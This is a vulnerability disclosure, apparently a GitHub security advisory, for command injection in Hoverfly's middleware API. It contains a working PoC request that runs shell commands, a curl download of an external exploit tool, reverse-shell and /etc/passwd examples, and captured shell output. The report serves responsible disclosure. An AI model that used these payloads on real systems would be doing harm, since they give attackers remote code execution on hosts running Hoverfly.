Summary
It has been discovered that the middleware functionality in Hoverfly is vulnerable to command injection vulnerability at /api/v2/hoverfly/middleware endpoint due to insufficient validation and sanitization in user input.
Details
The vulnerability exists in the middleware management API endpoint /api/v2/hoverfly/middleware.
This issue is born due to combination of three code level flaws:
- Insufficient Input Validation in middleware.go line 94-96:
func (this *Middleware) SetBinary(binary string) error {
this.Binary = binary // No validation of binary parameter here
return nil
}
- Unsafe Command Execution in local_middleware.go line 14-19:
var middlewareCommand *exec.Cmd
if this.Script == nil {
middlewareCommand = exec.Command(this.Binary) // User-controlled binary
} else {
middlewareCommand = exec.Command(this.Binary, this.Script.Name()) // User-controlled binary and script
}
- Immediate Execution During Testing in hoverfly_service.go line 173:
_, err = newMiddleware.Execute(testData) // Executes middleware immediately for testing
POC
- Send the below HTTP PUT request to
http://localhost:8888 in order to create our malicious middleware, this will execute a simple whoami command on target. (ADMIN UI/API)
Here, when you send this request, The hoverify will processes the request and writes the script to a temporary file and During middleware validation, Hoverfly executes: /bin/bash /tmp/{hoverfly_script}, and Boom! The malicious script will get executed with Hoverfly's privileges.
PUT /api/v2/hoverfly/middleware HTTP/1.1
Host: localhost:8888
sec-ch-ua-platform: "macOS"
Accept-Language: en-US,en;q=0.9
Accept: application/json, text/plain, */*
sec-ch-ua: "Not)A;Brand";v="8", "Chromium";v="138"
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
sec-ch-ua-mobile: ?0
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8888/dashboard
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/json
Content-Length: 101
{
"binary": "/bin/bash",
"script": "whoami"
}
HTTP/1.1 422 Unprocessable Entity
Date: Sat, 12 Jul 2025 15:55:49 GMT
Content-Length: 540
Content-Type: text/plain; charset=utf-8
{"error":"Failed to unmarshal JSON from middleware\nCommand: /bin/bash /var/folders/c6/c708mhjj12j_d5sg_s80pybc0000gn/T/hoverfly/hoverfly_2749637664\ninvalid character 'k' looking for beginning of value\n\nSTDIN:\n{\"response\":{\"status\":200,\"body\":\"ok\",\"encodedBody\":false,\"headers\":{\"test_header\":[\"true\"]}},\"request\":{\"path\":\"/\",\"method\":\"GET\",\"destination\":\"www.test.com\",\"scheme\":\"\",\"query\":\"\",\"formData\":null,\"body\":\"\",\"headers\":{\"test_header\":[\"true\"]}}}\n\nSTDOUT:\nkr1shna4garwal\n"}
(Here, my user is kr1shna4garwal)
If you want a complete remote code execution (reverse shell) proof of concept, I've also created a python tool fully dedicated for this vulnerability.
I hosted this exploit code at https://pwn.kr1shna4garwal.com/pwns/hoverfly/hoverfly_poc.py (I'll remove it once the issue is triaged)
You need to have python3 and below listed pip dependencies installed in your system before using the tool.
requirements.txt:
# Core HTTP and networking libraries
requests>=2.31.0,<3.0.0
urllib3>=2.0.0,<3.0.0
# Terminal colors and formatting
colorama>=0.4.6,<1.0.0
You can download this tool in your system using the below command:
curl -sSL https://pwn.kr1shna4garwal.com/pwns/hoverfly/hoverfly_poc.py -o hoverfly_poc.py
Then you can run python3 hoverfly_poc.py --help to get the help menu:
usage: hoverfly_poc.py [-h] -H HOST [-P PORT] [-U USERNAME] [-p PASSWORD] [--lhost LOCAL_HOST] [--lport LOCAL_PORT] [-c COMMAND] [-k] [-V] [--version]
Hoverfly Middleware RCE Proof of concept
options:
-h, --help show this help message and exit
-H HOST, --host HOST Target host (IP address or hostname)
-P PORT, --port PORT Target port (default: 8888)
-U USERNAME, --username USERNAME
Username for authentication
-p PASSWORD, --password PASSWORD
Password for authentication
--lhost LOCAL_HOST, --local-host LOCAL_HOST
Local host for reverse shell
--lport LOCAL_PORT, --local-port LOCAL_PORT
Local port for reverse shell
-c COMMAND, --command COMMAND
Custom command to execute
-k, --skip-ssl Skip SSL certificate verification
-V, --verbose Enable verbose output
--version show program's version number and exit
Examples:
# Basic unauthenticated exploitation
python3 hoverfly_poc.py -H localhost -P 8888
# Authenticated exploitation
python3 hoverfly_poc.py -H localhost -P 8888 -U admin -p password
# Reverse shell exploitation
python3 hoverfly_poc.py -H target.com -P 8888 --lhost 10.0.0.1 --lport 4444
# Custom command execution
python3 hoverfly_poc.py -H target.com -P 8888 -c "cat /etc/passwd"
# HTTPS target with custom port
python3 hoverfly_poc.py -H secure.target.com -P 9443 -U admin -p admin
To get the reverse shell, you can run: python3 hoverfly_poc.py --host localhost --port 8888 --lport 1337 --lhost localhost
You will get a reverse shell (because you provided the --lhost and --lport) on your target :)
_ _ ___ _ __ ____ _______ ___ _
| || |_____ _____ _ _| __| |_ _ | \/ \ \ / / _ \ \ / / \| |
| __ / _ \ V / -_) '_| _|| | || | | |\/| |\ \/\/ /| _/\ \/\/ /| .` |
|_||_\___/\_/\___|_| |_| |_|\_, | |_| |_(_)_/\_(_)_| \_/\_/ |_|\_|
|__/
Hoverfly Middleware RCE Vulnerability Proof Of Concept
Author: Krishna Agarwal (https://github.com/kr1shna4garwal)
Target: http://localhost:8888
[?] Checking target reachability...
[+] Target is reachable
[?] Checking product version...
[?] Detected version: v1.11.2
[+] Target is running vulnerable version: v1.11.2
[?] Target confirmed vulnerable - proceeding with exploitation
[?] Preparing exploitation...
[?] Using reverse shell payload: localhost:1337
[?] Listening for reverse shell on localhost:1337
[?] Waiting for reverse shell connection...
[?] Sending exploitation payload...
[+] Reverse shell connected from 127.0.0.1:58863
[+] Starting interactive shell session...
[SHELL] Type 'exit' to quit the shell
bash: cannot set terminal process group (89192): Device not configured
bash: no job control in this shell
bash-5.2$ whoami
kr1shna4garwal
Impact
This allows an attacker to gain remote code execution (RCE) on any system running the vulnerable Hoverfly service. Since the input is directly passed to system commands without proper checks, an attacker can upload a malicious payload or directly execute arbitrary commands (including reverse shells) on the host server with the privileges of the hoverfly process.
Have a great day ahead!
Thanks,
@Kr1shna4garwal
Kr1shna4garwal Reporter
Summary
It has been discovered that the middleware functionality in Hoverfly is vulnerable to command injection vulnerability at
/api/v2/hoverfly/middlewareendpoint due to insufficient validation and sanitization in user input.Details
The vulnerability exists in the middleware management API endpoint
/api/v2/hoverfly/middleware.This issue is born due to combination of three code level flaws:
POC
http://localhost:8888in order to create our malicious middleware, this will execute a simplewhoamicommand on target. (ADMIN UI/API)Here, when you send this request, The hoverify will processes the request and writes the script to a temporary file and During middleware validation, Hoverfly executes:
/bin/bash /tmp/{hoverfly_script}, and Boom! The malicious script will get executed with Hoverfly's privileges.(Here, my user is
kr1shna4garwal)If you want a complete remote code execution (reverse shell) proof of concept, I've also created a python tool fully dedicated for this vulnerability.
I hosted this exploit code at https://pwn.kr1shna4garwal.com/pwns/hoverfly/hoverfly_poc.py (I'll remove it once the issue is triaged)
You need to have python3 and below listed pip dependencies installed in your system before using the tool.
requirements.txt:
You can download this tool in your system using the below command:
Then you can run
python3 hoverfly_poc.py --helpto get the help menu:To get the reverse shell, you can run:
python3 hoverfly_poc.py --host localhost --port 8888 --lport 1337 --lhost localhostYou will get a reverse shell (because you provided the --lhost and --lport) on your target :)
Impact
This allows an attacker to gain remote code execution (RCE) on any system running the vulnerable Hoverfly service. Since the input is directly passed to system commands without proper checks, an attacker can upload a malicious payload or directly execute arbitrary commands (including reverse shells) on the host server with the privileges of the hoverfly process.
Have a great day ahead!
Thanks,
@Kr1shna4garwal